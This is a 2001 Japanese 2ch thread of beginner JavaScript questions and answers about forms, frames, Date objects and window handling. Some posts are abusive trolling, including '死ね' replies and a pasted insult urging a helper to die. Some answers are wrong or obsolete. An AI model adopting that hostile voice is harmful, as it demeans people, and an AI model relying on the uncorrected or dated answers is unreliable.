576 名前:Name_Not_Found 投稿日:2001/02/24(土) 22:23
フォームで、テキストボックスでEnterキーを押したら無効で、
submitボタンを押したときのみ内容を送信することってできますか?

onSubmit="return false" にして無効になるけど、submitボタンを押しても送信ができません。

577 名前:Name_Not_Found 投稿日:2001/02/25(日) 00:18
>>576

>>538
の応用でいけるんじゃないかなぁ、改行を認識した先を別の処理にしてあげれば。

578 名前:Name_Not_Found 投稿日:2001/02/25(日) 00:21
>>576
テキストボックスのonkeypressでキーコード拾って
Enterのコード(13)の時だけfalseをreturnしとき。
下記のサンプルのソースが参考になるよ。
http://wwwhtml.virtualave.net/up/file/005.html

579 名前:Name_Not_Found 投稿日:2001/02/25(日) 00:31
>>571
逆の考え方になるけど…
非実装のメソッドやプロパティは呼び出されるとnullがreturnされる。
んで、nullは真偽式では偽として扱われるから、
実装されてるかどうか怪しいメソッドやプロパティを扱う時には
あらかじめif文でチェックしとくといい。
if(document.getElementById){
【実装時処理】
}
else{
【非実装時処理】
}
って具合に。めんどくさいけど実装依存は抑えられる。

580 名前:Name_Not_Found 投稿日:2001/02/25(日) 02:07
>>579
> 非実装のメソッドやプロパティは呼び出されるとnullがreturnされる。
undefined でしょ。
null はオブジェクトやプロパティが
存在はしているけど値が空みたいな場合がある。
a=null でも typeof(a)='object' みたいな。

581 名前:Name_Not_Found 投稿日:2001/02/26(月) 00:36
質問とはちょっと違うんだけど。
外部Jsファイルに変数だけぶち込んで、その内容をCGIに変更させて、
その結果を他のJsファイルで参照させる・・・なんていう方法を使ってる人っています?

最近それ使いだして、けっこう便利ジャンなんて思ってるんで、どうスか?

582 名前:Name_Not_Found 投稿日:2001/02/26(月) 01:00
JavaScriptでネット接続の割合おせて(国外




583 名前:Name_Not_Found 投稿日:2001/02/26(月) 10:46
>>581

変数だけ変更するのならSSIの方がいいかなぁ、というのが個人的な意見。
JSファイルの書き換えってのは色々と応用が利いて面白そう。

584 名前:Name_Not_Found 投稿日:2001/02/26(月) 13:38
JavaScript の構文解析ツールでオススメありませんか?

585 名前:Name_Not_Found 投稿日:2001/02/26(月) 13:51
>>584
ない

586 名前:Name_Not_Found 投稿日:2001/02/26(月) 18:21
>>581
583が言うようにSSIでやれば良いと思うが、
SSIが使えないサーバならその方法も一案。

587 名前:あぼーん 投稿日:あぼーん
あぼーん

588 名前:Name_Not_Found 投稿日:2001/02/27(火) 00:07
テキストボックスに時計を表示するときに(これは秒だけになっていますが)
<script type="text/javascript">
&lt;!--

function nowtime(){
now=new Date();
sec=now.getSeconds();
document.forms[0].elements[0].value=sec;
setTimeout('nowtime()'@`1000);
}
//--&gt;
</script>
<body onLoad="nowtime()">
<form>
<input type="textbox">
</form>
</body>
と書くとちゃんと1秒ごとに更新してくれるんですが、
関数の部分を
<script type="text/javascript">
&lt;!--
now=new Date();
sec=now.getSeconds();

function nowtime(){
document.forms[0].elements[0].value=sec;
setTimeout('nowtime()'@`1000);
}
//--&gt;
</script>
<body onLoad="nowtime()">
<form>
<input type="textbox">
</form>
</body>
とするとロードした瞬間の秒をテキストボックスに入力するだけです。
どうしてなんですか?
本には関数の外に書いてある変数は
関数内でも参照できると書いていたんですが。
(長くてすいません)

589 名前:名無しチェケラッチョ♪ 投稿日:2001/02/27(火) 00:22
フレーム越しでon mouse overってできるんでしょうか?

590 名前:J++ 投稿日:2001/02/27(火) 00:34
>>588

sec が更新されないのが原因。ので、

var now = new Date();
function nowTime(){
document.forms[0].elements[0].value=now.getSeconds();
setTimeout("nowTime();"@`1000);
}

ちなみに 1000 は値を小さくした方が正確

591 名前:H++ 投稿日:2001/02/27(火) 00:40
>>589
もっと詳しく。

592 名前:588 投稿日:2001/02/27(火) 00:56
>>J++氏
書いて頂いたのを試してみました。
が、やはり
var now = new Date();
を関数の中に書かないと更新されませんでした。
そちらではうまくいったんでしょうか?


593 名前:名無しチェケラッチョ♪ 投稿日:2001/02/27(火) 01:01
>>591
すんまんせん。

えっと、フレームをメニューとドキュメント用に二つ作ってます。
それで、メニューフレームにあるメニューボタンにまずon mouse overを適用
します。ここまではできます。

で、何がしたいかと言うと、ドキュメントフレームにそのボタンと連動して
画像を表示させたいんです。

例えば画像で作った『i-mode』と言うボタンにマウスを乗せると、ボタンの色が
変わって、ドキュメントフレームに携帯電話の画像を表示させる感じです。

伝わったでしょうか…

594 名前:J++ 投稿日:2001/02/27(火) 01:03
>>592

すいません。私の間違いです。
Date はインスタンスを生成した時点の時間を読み込むようですね。

document.forms[0].elements[0].value = new Date().getSeconds();

こうすれば良いでしょう。

595 名前:588=592 投稿日:2001/02/27(火) 01:32
>>J++氏
ありがとう。それでいけました。
インスタンスという言葉を初めて聞きました。
(これからプログラムというものを覚えようという段階なんで)
文脈からいくとインスタンス=オブジェクト
ということかと思うんですが、そのオブジェクトを関数のなかで
作っておけば、1秒後再度関数が実行された時にまた新たに
dateオブジェクト作るからうまくいくということでいいんですね。


596 名前:Name_Not_Found 投稿日:2001/02/27(火) 01:33
>>593
onMouseoverで動くスクリプトそのものが
ドキュメントフレームの画像を変更すればいいだけと思われ。
parent.DocFrame.document.images[1].src = "〜";
とか、そーいう感じで。

597 名前:H++ 投稿日:2001/02/27(火) 01:40
>>593
フレームの参照は parent.frames[フレーム名] です。

例えば、ターゲットフレーム名が MAIN で、
その中の VOO と名の付いたレイアを操作したいときには

parent.frames["MAIN"].document.all["VOO"]

みたいな感じです。適当にクロスして下さい。
画像の参照は parent.frames["MAIN"].document.images("ImageID");

598 名前:J++ 投稿日:2001/02/27(火) 01:43
>>595

いえいえ、答えになってませんでしたね。
ちなみにインスタンスは「実際に生成された物」という意味です。
new されたものと思って頂けたら。

599 名前:593 投稿日:2001/02/27(火) 01:47
どうもありがとうございます。
さっぱりなんですが、トライしてみます…

600 名前:H++ 投稿日:2001/02/27(火) 01:57
>>599
>例えば画像で作った『i-mode』と言うボタンにマウスを乗せると、ボタンの色が
>変わって、ドキュメントフレームに携帯電話の画像を表示させる感じです。

いや、1つ1つやっていけば難しいことではないですよ。
やらなければいけないことは2つです。
1.onMouseOver した画像の色を変える(画像を変える)
2.どこでも良いので画像を表示させる。
これにフレーム参照を考えたものを作るだけです。

601 名前:593 投稿日:2001/02/27(火) 04:14
度々どうもです。

まだサイトの構想段階で、そこまで作業が進んでないのですが、とりあえず
JavaScriptで行けると分り安心です。( ´∀`)

最悪フラッシュも考慮していたんで。



602 名前:Name_Not_Found 投稿日:2001/02/27(火) 04:33
質問です。
ドリキャスでもブラウズできるサイトを作りたいのですが、JavaScriptはつかえますか?また、どの程度使えますか?IEと同じくらいは無理として。

603 名前:h++ 投稿日:2001/02/27(火) 05:27
>>602
私はドリーキャス環境にないので確認はできませんが、
http://www.geocities.co.jp/SiliconValley-Bay/8639/
この程度使えるようです。

604 名前:h++ 投稿日:2001/02/27(火) 05:28
×ドリーキャス
○ドリキャス

605 名前:602 投稿日:2001/02/27(火) 05:49
>>603
ありがとうございます!参考になります。
っていうか、バッチリ!
感謝。
ドリーキャスでもなんとなく通じるよ。クローン羊みたいだけど。OK。


606 名前:Name_Not_Found 投稿日:2001/02/27(火) 06:30
便乗質問かな
docomo503ってJavaScript多用したサイト見れる?

607 名前:Name_Not_Found 投稿日:2001/02/27(火) 06:44
見れない。

608 名前:h++ 投稿日:2001/02/27(火) 06:47
>>606
検索してもひっかからない・・・
http://www.columbia.edu/~ir94/wireless.html#OverI-mode
なんかノーサポートみたいなこと書いてあるので無理っぽいです。
自信ないので sage

609 名前:Name_Not_Found 投稿日:2001/02/27(火) 21:14
行ってるチャット式掲示板サイトのオートリローダを書いてます。
400秒ごとにリロードします。
window.openだとちゃんとリロードしてくれるんですが放っておくと
ウィンドウが幾つもできてしまうので定期的に閉じるようにしたいのですが
window.closeでウィンドウを指定の仕方が探しても見つかりません。
どなたかwindow.closeのオプションを教えてください。

610 名前:h++ 投稿日:2001/02/27(火) 21:42
>>609

それは多分、window.open に問題あり。
ウィンドウの名前を指定していますか?
var win = window.open("URL"@`"NAME"@`"FEATURES");
NAME が重要。

611 名前:Name_Not_Found 投稿日:2001/02/28(水) 02:08
resizeWindowをフレームの親ページで指定してるんですけど、効きません。
フレームの時ってなんか注意必要なんでしょうか。


612 名前:h++ 投稿日:2001/02/28(水) 02:17
>>611
何か間違っている可能性大。

</HEAD><SCRIPT>
resizeTo(600@`400);
</SCRIPT><FRAME 〜

どうしても出来ないなら、フレーム内のコンテンツページで
top.resizeTo(600@`400);
とか書いてみて下さい。

613 名前:611 投稿日:2001/02/28(水) 02:21
こんな感じなんですが…

<SCRIPT LANGUAGE="JavaScript">
&lt;!--
function resizeWindow(){
if (navigator.appVersion.charAt(0) >= 4){
window.resizeTo(780@`500);
}
}
//--&gt;
</SCRIPT>
</head>
<frameset rows="55@`425@`20" cols="*" border="0" framespacing="0">
<frame src="menu.html" name="menu" noresize marginwidth="0" marginheight="0" frameborder="NO">
<frame src="body.html" name="body" noresize marginwidth="0" marginheight="0" frameborder="NO">
<frame src="fooder.html" name="fooder" marginwidth="0" marginheight="0" noresize frameborder="NO">
</frameset>
<noframes>
<body bgcolor="#FFFFFF" onLoad="resizeWindow()">

間違いわかんないす。

614 名前:h++ 投稿日:2001/02/28(水) 02:31
>>613

FRAMESET のページにフレーム未対応作っている訳でもないのに
BODY を書いているのが間違いです。
どうせやるなら、<body 〜>を削除して↓

<frameset 〜 onLoad="resizeWindow()">

です。こんなオウ着が NN で通じるか分かりませんが。

615 名前:h++ 投稿日:2001/02/28(水) 02:34
× FRAMESET のページにフレーム未対応作っている訳でもないのに
フレーム対応のブラウザは NOFRAMES の部分を無視するようですね。

616 名前:611 投稿日:2001/02/28(水) 02:40
な、なるほど…

俺がアホでした。どうもありがとうございます!

617 名前:Name_Not_Found 投稿日:2001/02/28(水) 03:17
表示されるページがわでprent.??で指定してリサイズすりゃいい
BODYを削除とか教えんな

618 名前:h++ 投稿日:2001/02/28(水) 03:23
>>617

>>614で私が勘違いして >>615 で訂正しているのが、
全然説明不足だったことは謝ります。

619 名前:Name_Not_Found 投稿日:2001/02/28(水) 03:28
BODY削除しないで、frameset内に記述しました。これで行けたんです
けど、prent.??っちゅうのはよく分かりません。

ちなみにIE5.0 Win

とにかくありがとうございました。

620 名前:( ´Д`) 投稿日:2001/02/28(水) 09:30
>>614
つか、そもそもnoframes要素はフレームが実装されてないUAで
代替のドキュメントを表示するためのものだから、
むしろframeset要素とペアで用意しておくべきなんだけど。
>>613の場合、noframesとbodyに閉じタグが記述されてないのが気になるが。
それに、onloadはframesetにも適用可能なので別に横着でもなし。

>>617
prentじゃなくてparentでしょ。いちおうツッコミ。
ついでに言うと、noframes要素はフレームオブジェクトを
生成するわけじゃないからparentは関係ないと思われ。

>>619
parentは親フレームの参照指定だよ。今回の場合は関係ないけどね。

621 名前:609>610 投稿日:2001/02/28(水) 13:31
window.openのオプションは本に書いてあります。
openで名前を書いてもcloseで名前の指定の仕方がわからないのです。
どのサイト見てもclose()で終わってるので・・・。

622 名前:( ´Д`) 投稿日:2001/02/28(水) 13:38
【ウィンドウ名】.close()と書いてみなされ。
windowオブジェクトは名前で直指定できるから。

623 名前:Name_Not_Found 投稿日:2001/02/28(水) 13:58
別窓を開く時にJavaScriptを利用してブラウザごとに別窓が表示されるようにしたいのですが、どのようにやればいいのでしょうか?
IEではA.html、NNではB.htmlが開くようにしたいです。

624 名前:( ´Д`) 投稿日:2001/02/28(水) 14:08
>>623
navigator.appNameプロパティでアプリケーション名が取得できるから、
if文かswitch文で判別しつつ別ウィンドウを開くべし。
ちなみにnavigator.appNameはIEでは"Microsoft Internet Explorer"、
ネスケでは"Netscape"という文字列を返すよ。

625 名前:609=621 投稿日:2001/02/28(水) 19:24
開いたウィンドウの名前を"nawi"にしたんですが、
nawi.close()とやると「エラーが出てしまいました」となります。
環境が違うのでしょうか。IE5.01なんですけど・・・

626 名前:Name_Not_Found 投稿日:2001/02/28(水) 19:38
>>625
ロベルト・・・お前ロベルトだろ!?
なぁ、そうだと言ってくれよ!ロベルトなんだろ!?

627 名前:Name_Not_Found 投稿日:2001/02/28(水) 20:23
>>626
死ね。

628 名前:Name_Not_Found 投稿日:2001/02/28(水) 20:56
>>627
オマエモナー

629 名前:あぼーん 投稿日:あぼーん
あぼーん

630 名前:ハイソックス 投稿日:2001/02/28(水) 21:04
はぁ

631 名前:( ´Д`) 投稿日:2001/02/28(水) 23:14
>>
ありゃ。こっちの勘違いでした。スマソ。

632 名前:( ´Д`) 投稿日:2001/02/28(水) 23:20
書き込み途中で送信してしまった…

>>625
こっちの勘違いでした。スマソ。
window.openメソッドは実行時にwindowオブジェクトを返すので、
これをいったん変数に格納して、closeメソッド等に利用してください。

例:
var WinObj = window.open("http://www.2ch.net/2ch.html");
WinObj.close();

確認不足でご迷惑をかけて申し訳ありませんです。

633 名前:あぼーん 投稿日:あぼーん
あぼーん

634 名前:Name_Not_Found 投稿日:2001/02/28(水) 23:33
>>633
死ね。

635 名前:625>632 投稿日:2001/02/28(水) 23:35
おお!そのままコピペしたら出来ました。ありがとうございます。
また、何やら周辺を勉強したら面白そうですね。

636 名前:あぼーん 投稿日:あぼーん
あぼーん

637 名前:( ´Д`) 投稿日:2001/02/28(水) 23:46
なんなんだいったい。妙にあっちこっちが荒らされてる。

>>625
ドキュメントオブジェクトモデル(DOM)を勉強すると面白いですよ。
JavaScriptで何ができるのかがよく分かるようになります。

638 名前:Name_Not_Found 投稿日:2001/03/01(木) 03:38
function today(){
today = new Date();
alert(today);
}
という関数を作ってボタンにonClickで実行するようにしたところ、
ページロード後一回目にボタンを押すときちんと実行できるんですが
それ以降ボタンを押すとエラーが出ます。内容は
「オブジェクトでサポートされていないプロパティまたはメソッドです」
なんですが、どうしてかわかりません。

639 名前:h++ 投稿日:2001/03/01(木) 05:15
>>638

関数(変数)がオーバーライド(書き換え)されたためです。

function today(){
alert( new Date() );
}

640 名前:( ´Д`) 投稿日:2001/03/01(木) 07:44
>>638

639さんも説明されてますが、
要は関数名と変数名が同じというのがヤバいです。別名にしましょう。

641 名前:638 投稿日:2001/03/01(木) 14:46
>>639
>>640
ありがとうございます。
これは関係ないですが、変数名や関数名って
いつも、どうつけようか迷うんですがみなさんどうしてるんでしょう・・・

642 名前:( ´Д`) 投稿日:2001/03/01(木) 15:12
>>641

頭の部分にキーワードみたいなのを付けてます。
たとえば、関数ならFnc、引数ならArg、
変数なら放り込む内容に合わせてNum・Str・Ary・Objなど。
で、そのあとに内容を推測できるような名称を加えてます。
プログラミングのTipとしては割とポピュラーな方法のようです。

643 名前:Name_Not_Found 投稿日:2001/03/01(木) 15:36
お奨めのお勉強ページありますか?

644 名前:( ´Д`) 投稿日:2001/03/01(木) 16:24
>>643
いわゆる入門系のページではありませんが、
個人的によく参考にさせてもらってるサイトの紹介をば。

「一撃必殺JavaScript」 www.shiojiri.ne.jp/~openspc/JavaScript/
リファレンスやドキュメントが充実してます。
JavaScript関連のちょっとした調べものに便利です。

「三日坊主++の部屋」 east.portland.ne.jp/~sigekazu/
JavaScriptでスタイルシートを操作する方法、
いわゆるDynamicHTMLについて詳しく解説されてます。

「ベーダ」 www.felix.or.jp/~yugo/js/
JavaScriptに関するかなり深いドキュメントがあります。
ただし、ひととおりJavaScriptに通じていないとサパーリでしょう。

ついでにDynamicHTMLのサンプルがあるサイトをいくつか。
www.st.rim.or.jp/~makoto3/
home.interlink.or.jp/~miyakita/
village.infoweb.ne.jp/~cylas/

直リンしても別によかったかな。

645 名前:Name_Not_Found 投稿日:2001/03/01(木) 18:01
>>637
そして DOM のサポート状況が
どんなにお寒いのかもよーく解る…。

646 名前:Name_Not_Found 投稿日:2001/03/01(木) 18:26
どこで聞いていいのか分からないのでスレッドageさせてもらいます。

以前いたページのURIを参照したいのですが、IE5.5で history.previousを参照しても
エラーが返ってきてしまいます。また、document.referrerを参照しても空でした。
(これはフレーム内で移動しているだけというのも関係してるのでしょうか?)

やりたいことは、どこから移動してきたかを参照して、他のディレクトリから
移動してきた場合のみfunctionを実行させたいのです。(尚、ローカルでの運用です)

で、location.hrefと前いたページのURIの両方に同じディレクトリ名が含まれていなければ
functionをコールする、という風に処理しようと思ったのですが、
前いたページのURIがどうしても参照できずにつまづいています。

なにかいい方法ありませんでしょうか?



647 名前:( ´Д`) 投稿日:2001/03/01(木) 22:28
>>646
JavaScriptなのでこちらでOKですよ。

document.referrerプロパティはセキュリティの関係上、
最近のIEでは参照できない場合があるようです。
また、IEのhistoryオブジェクトに
previousというメソッド/プロパティはありません。

代わりに、JavaScriptを利用して何らかのデータを
ページ間で受け渡したいのであれば、次のような方法があります。

(1/3)

648 名前:( ´Д`) 投稿日:2001/03/01(木) 22:29
1.フレームを利用する

変数や関数は異なるフレーム間であっても参照は可能なので、
frameset・frame要素を持つドキュメント(親フレーム)に変数を用意しておけば、
フレーム内に呼び出されるドキュメントから自由に参照や設定を行うことができます。
たとえば、親フレームにある変数test1を参照したいのであれば、
parent.document.test1と指定すればOKです。
前ページの内容を判別したいのであれば、
onunloadを利用してページの情報を親フレームの変数に格納し、
次に呼び出されたページのonloadを利用して変数の内容を確認するといいでしょう。

欠点として、当然ですがフレームを使用している必要があることと、
同じサーバを経たページ同士でないとセキュリティ機能によって
変数が参照できなくなる可能性が挙げられます。

(2/3)

649 名前:( ´Д`) 投稿日:2001/03/01(木) 22:30
2.URLを利用する

サーチエンジンの検索などでアドレスの後ろに"?"とそれに続く文字列をよく見かけますが、
基本的にあの"?"と以降の文字列はページアドレスとしては扱われないもので、
もっぱらCGIに処理を行わせるためのデータとして使われていますが、
実はこれをJavaScriptで参照してデータの受け渡しに利用することができます。
たとえば、"http://www.test.net/test.html?xyz"というURLでページジャンプを行うと、
"?xyz"は無視されて"http://www.test.net/test.html"へと移るわけですが、
この時にlocation.searchというプロパティを参照すると"?xyz"を値として取得できます。
"?"以降の文字列はunicodeであれば自由に指定できるので、
escapeメソッドとunescapeメソッドでエンコード/デコードを行えば
たいていの文字列の引渡しが可能になります。

欠点として、URLは256バイトを越すと以降が認識されない可能性があるので
あまり大量のデータの受け渡しには向いていないことと、
Webサーバを経由しないスタンドアロン環境では
"?"以降の文字列を認識しないブラウザ(IE4など)が存在してることが挙げられます。


少しややこしい内容なので不明な点があるかもしれませんが、
その時はまたここで気軽に質問してください。

(3/3)

650 名前:( ´Д`) 投稿日:2001/03/01(木) 22:34
>>645
いわゆるLevel0のDOMは割と大丈夫ということで(苦笑

651 名前:フェードインできない 投稿日:2001/03/01(木) 23:24
長めですいません。ホームページ辞典(アンク)
の365ページにあるスプリクトなのですが、そのまま写したつもり
なのですがボディがフェードインしてくれません。
以下ソースなのですが
<html>
<head>
<title>fade in</title>
<script language="JavaScript">
&lt;!--
function fadein(){
 r_color = "000123456789abcd";
 g_color = "0123456789abcdef";
 b_color = "000123456789abcd";
 for(i=0;i<16;i++){ //i=0からi=15まで繰り返す
  r = r_color.charAt(i);  //配列r_colorのi文字目を収得
  g = g_color.charAt(i);  //配列g_colorのi文字目を収得
  b = b_color.charAt(i);  //配列b_colorのi文字目を収得
  document.bgColor = r+r+g+g+b+b; //結合して背景色に設定
}
}
// --&gt;
</script>
</head>
<body onLoad="fadein()" text="ff8400">
<font size=+4>変わってくれない・・ウウ</font>
</body>
</html>
何故でしょうか?お願いします。

652 名前:名無しの厨房 投稿日:2001/03/01(木) 23:36
再帰はどれくらいまで許されますか?
ツリー状に10個ぐらい枝分かれすると、正しい値を返さないんだけど・・

あと数値型変数は何バイトまで格納できるの?

暇な人、教えてプリーズ

653 名前:646 投稿日:2001/03/02(金) 00:19
>647

ありがとうございました。親フレームのdocumentで変数を宣言する方法でやってみました。
完璧でした。

最初は、親フレームにダミーのformエレメントを置いて、HIDDEN属性のエレメントのvalueに
onUnloadでlocation.hrefを代入して、、、とかトリッキーなことを考えていたんですけど、
フレーム間の変数の参照って簡単に出来ることだったんですね。勉強になりました。
ありがとうございました。


654 名前:( ´Д`) 投稿日:2001/03/02(金) 00:22
>>651
たぶん、
document.bgColor = r+r+g+g+b+b; //結合して背景色に設定

document.bgColor = "#"+r+r+g+g+b+b; //結合して背景色に設定
とすればうまくいくと思います。
#rrggbb形式で指定する時は先頭のシャープをお忘れなく。

>>652
JavaScriptは同名のオブジェクトであれば同一のインスタンスで扱うので
再帰を行うと容易にオーバーライドを引き起こします。
回数よりむしろオブジェクトの取り扱いの問題だと思われます。

数値のバイトサイズの上限についてはわかりませんが、
Number.MAX_VALUE(変数に格納できる最大値)から推測できるかもしれません。

655 名前:名無しの厨房 投稿日:2001/03/02(金) 00:24
>>654
早レスありがとうございます。
もっと効率のいい計算方式を考えることにします。

656 名前:( ´Д`) 投稿日:2001/03/02(金) 00:26
>>651
余談ですが、アンクの書籍は地雷率が高いです。ご注意を。

657 名前:むむフェードインできない 投稿日:2001/03/02(金) 00:31
&st=654
>654
レスありがとう。
#を加えましたが、それでもだめでした。
う〜ん、この辞典使えるのかなぁ〜。
試行錯誤してみます。

658 名前:( ´Д`) 投稿日:2001/03/02(金) 00:43
>>657
改めて関数に目を通してみたんですが、
どうも挙動が実装依存しているみたいです。
明日の朝、問題を修正したサンプルを組んで
あぷろだに上げときます。気長に待っててください。
今日はもう寝ちゃいますんで(w

659 名前:フェードインできない@感動 投稿日:2001/03/02(金) 00:52
>658
ありがとう。
一応自分でもあれこれやってみます。
・・て参考書が地雷・・コマッタモノデス

660 名前:( ´Д`) 投稿日:2001/03/02(金) 11:52
朝にとか言っておきながらもう昼じゃん。ウツダシニタイ

>>659
インターバルタイマを利用したサンプルです。
http://wwwhtml.virtualave.net/up/file/007.html
NN3とかIE3みたいなごっつ古いブラウザだとコケるかもしれません。


二重送信したサンプルファイルが消せない…ウツダシノウ

661 名前:Name_Not_Found 投稿日:2001/03/02(金) 12:48
>>660

あ〜あ、やっちゃったよ
いつかやるんじゃないかと心配してたけど
まさかこんなに早く糞コピペしちゃうなんて思わなかった
ねぇ感じる?この一気に冷めた空気
すべてはあなたのノミにも満たないであろう腐った脳味噌が
考え出したすえの結果だよ
ねぇみんな思ってるよ、あなたがギョウチュウ検査の
ポキール以下の存在だって。
困っちゃったね、どうする?どうしようか?
芯でみる?ん?じゃあ芯でみようか、
それが一番いい方法だと思うの。
だってあなたは人類始まって以来の粗大ゴミだから。

P.S
あ、できる限り傷つけないように
アドバイスしたつもりだけど、もし気に障るような
言葉があったらメンゴ!メンゴ!
あなたの気のせいよ。



662 名前:( ´Д`) 投稿日:2001/03/02(金) 12:58
>>661
春休みかい? おじちゃんにも休みをわけとくれよ。

663 名前:フェードイン@感謝 投稿日:2001/03/03(土) 00:16
>>660
ありがとう。
いただきます。
こいつを使って、onMouseでイメージの周りを変化させたかった
ので、助かりました。
本当に感謝です。
応用でテキストのリンクとかにも使用したいと思います。

>>661
あほ。

664 名前:Name_Not_Found 投稿日:2001/03/03(土) 01:11
コピペに反応するなって

665 名前:( ´Д`) 投稿日:2001/03/03(土) 01:33
いやあ、長期休暇の取れる学生がマジでうらやましくってつい。社会人はつらいよ。

666 名前:h++ 投稿日:2001/03/03(土) 04:17
>665
同意

667 名前:( ´Д`) 投稿日:2001/03/03(土) 11:56
>>666
仕事についちゃうと休みの日にアラーシなんて
時間がもったいなくってやってられないよね(w

668 名前:Name_Not_Found 投稿日:2001/03/03(土) 12:19
 ┌─────────――-┐
 │Web板にアラーシ警報!     |
 │sage進行にご協力願います |
 └―――──――――――-┘
       ヽ(´ー`)ノ
          (  へ)
           く


669 名前:( ´Д`) 投稿日:2001/03/04(日) 00:36
>>668
悪いけど、質問スレが沈みかけってのもアレだからあげとくよ。

670 名前:Name_Not_Found 投稿日:2001/03/04(日) 03:11
MSみたいなビロンって降りるメニューを全く同じに作るのは無理なの?

671 名前:( ´Д`) 投稿日:2001/03/04(日) 11:34
>>670

下のサイトを参考にしてください。
www.interq.or.jp/guitar/kozo/dh/dhsamk026.html

672 名前:Name_Not_Found 投稿日:2001/03/04(日) 21:30
初心者向けのJAVAscriptの解説ページありませんか

673 名前:Name_Not_Found 投稿日:2001/03/04(日) 21:47
>>672
http://www.google.com/search?q=%8F%89%90S%8E%D2%81@javascript+%89%F0%90%E0&hl=ja&lr=

674 名前:Name_Not_Found 投稿日:2001/03/04(日) 22:39
>>671
それだと、クリックした位置が違うと表示位置が微妙に変わって萎え。

675 名前:Name_Not_Found 投稿日:2001/03/04(日) 23:48
http://www.motown.com/frameset.html
↑の"motown news"ってとこで、Javascriptで
スクロールできますけど、こんな感じで
<IFRAME>の中身を外部javascriptリンクで
スクロールアップやダウンってできるんでしょうか。
<IFRAME>なんて使うなよハゲと言わずにご指導をよろしくです。
スクロールバーがいやなんですううう〜。

676 名前:Name_Not_Found 投稿日:2001/03/04(日) 23:49
あ、↑のリンクはIFRAMEじゃないですけど。

677 名前:Name_Not_Found 投稿日:2001/03/05(月) 00:54
乱数の生成の仕方教えてください。

678 名前:Name_Not_Found 投稿日:2001/03/05(月) 02:19
ark4random();

679 名前:Name_Not_Found 投稿日:2001/03/05(月) 04:46
<P class="aaa" onclick="this.getAttribute('class')">BBBB</P>

でIE5だと'NULL'が帰ってくるのは気のせい?(泣)
ほかの属性だと(hrefとかlangほか)きちんと帰ってくるんだけど。

680 名前:Name_Not_Found 投稿日:2001/03/05(月) 04:47
上のonclickの引数を『alert(this.getAttribute('class'))』に訂正

681 名前:Name_Not_Found 投稿日:2001/03/05(月) 05:36
>>670

http://homepage1.nifty.com/VET06031/lib/mslike.html
どお?

682 名前:Name_Not_Found 投稿日:2001/03/05(月) 07:22
>>679
気のせいじゃないっす。
setAttribute も class には出来なかったような。
必要なら this.className でやってみそ。

683 名前:682 投稿日:2001/03/05(月) 07:29
ふと思って
this.getAttribute('className') を試してみたら
class 属性が返ってきた(爆笑)。
この挙動は間違っているので信用しないように。

684 名前:679 投稿日:2001/03/05(月) 07:34
>>682
Thanx!

操作対象id直書きでやるしかないか‥‥
とっととIE6出しやがれっ!>MS

685 名前:( ´Д`) 投稿日:2001/03/05(月) 07:52
>>675
環境依存になるのでやめといた方がよろしいかと…
どうしてもとご希望であればサンプルを作ってみます。

あと、IE5.5ならスクロールバーの色を
スタイルシートで変更することができます。
詳細は下のサイトをご覧になられてください。
www2.portland.ne.jp/~sigekazu/css/ie55.htm
このスタイルシートをうまく使えば、
win2k.telnet.or.jp/
のニュースチップのような効果も出せます。

>>677
Math.random()で0以上1未満の乱数が取得できます。

>>679
classは通常の属性と違い複数の値を一度に指定できるので
格納形式が異なってるのかもしれません。
getElementByIdでオブジェクトごと取得したあと、
classNameプロパティを参照した方が確実でしょう。

686 名前:( ´Д`) 投稿日:2001/03/05(月) 08:02
思い出した。

>>675
"class"はJavaScript2.0においてオブジェクト定義を行うための
予約語として存在するため(c++・JAVAなどのそれと同じ)、
それとの重複を避ける為にDOMのclassアトリビュートへのアクセスは
"className"というプロパティで行うことになります。


何が格納形式が違うかもだオレ。ウツダシノウ

687 名前:名無しさん@1周年 投稿日:2001/03/05(月) 08:23
>>681
文字サイズを固定せずにお願いします。

688 名前:681 投稿日:2001/03/05(月) 08:31
>>687
ソース見て自分で治せよ。

689 名前:Name_Not_Found 投稿日:2001/03/05(月) 14:11
>>687
このスレは質問用スレであってスクリプト注文スレではありません。帰れ。

690 名前:Name_Not_Found 投稿日:2001/03/05(月) 23:57
フォームでアンケートページを作ったのですが、内容確認ページから
history.back()でアンケートページに戻ると、それまで書かれていた
フォームの内容がクリアされてしまいます。
IE5.0では表示されているのですが、IE5.5だとクリアされてしまうようです。
どうやったら表示されたままにしておくことが出来るのでしょうか?


691 名前:Name_Not_Found 投稿日:2001/03/06(火) 06:42
あー、俺もそれ仕事でさんざん悩んだな〜。
力技でいくならクッキーで。スマートにいきたいなら
内容確認を新規ページじゃなく確認ダイアログで表示させるのが吉かと。

サンプル出したいけど、ちと面倒だな・・・

692 名前:( ´Д`) 投稿日:2001/03/06(火) 17:32
>>690
691の「ダイアログで確認」をヒントにサンプルを組んでみました。
http://wwwhtml.virtualave.net/up/file/009.html
実用レベルの内容じゃないですが、何かの参考になれば幸いです。

ちなみに"※ボタンのvalue値は〜"という注釈は気にしないでください。
普通はあまり使うことのない値の送信方法に関することですので。

693 名前:( ´Д`) 投稿日:2001/03/06(火) 17:33
あげ忘れてた。

694 名前:あぼーん 投稿日:あぼーん
あぼーん

695 名前:(;´Д`) 投稿日:2001/03/06(火) 19:16
あげたらこんなん貼られるし。

696 名前:Brain_Not_Found 投稿日:2001/03/06(火) 20:05
できれば目に見えるフレームやフォームやポップアップを使わないで
ページの右側にあるアイコンサイズの画像に触れたら
ページの左側にテキストで説明がでるようにしたいのですが
そんな事って可能ですか?
------------------------
1             1   1
1             1   1
1     a        1 b  1
1             1   1
1             1   1
1-----------------------
aにテキスト、bに画像



697 名前:Name_Not_Found 投稿日:2001/03/06(火) 20:06
懲りずにあげ。

698 名前:( ´Д`) 投稿日:2001/03/06(火) 20:29
>>696

DynamicHTMLを用いれば可能です。
ただ、環境と表示の兼ね合いを考えると
以下のいずれかを選択することになると思います。

1.IE4&NN4以上、未対応環境はほぼ切り捨て。

2.IE4&N6(Mozilla)以上、未対応環境でも相応な形で表示。

ご希望でしたらサンプルを用意しましょうか?

699 名前:( ´Д`) 投稿日:2001/03/06(火) 20:30
またあげ忘れた。逝ってきます。

700 名前:690 投稿日:2001/03/06(火) 20:36
>>691
>>692
返事が送れてすみませんでした。
色々試したのですが、フォームのデータは消えてしまいますね。
最終的には確認ダイアログを表示させる方法をとりました。
参考例まで挙げていただいて助かりました。
ありがとうございました。

701 名前:名無しさん 投稿日:2001/03/07(水) 01:57
直リンク対策って、javaでやるものなんですか? もしそうだったら、
教えてください。 ウチのBBSが直リンクされて、困っています。

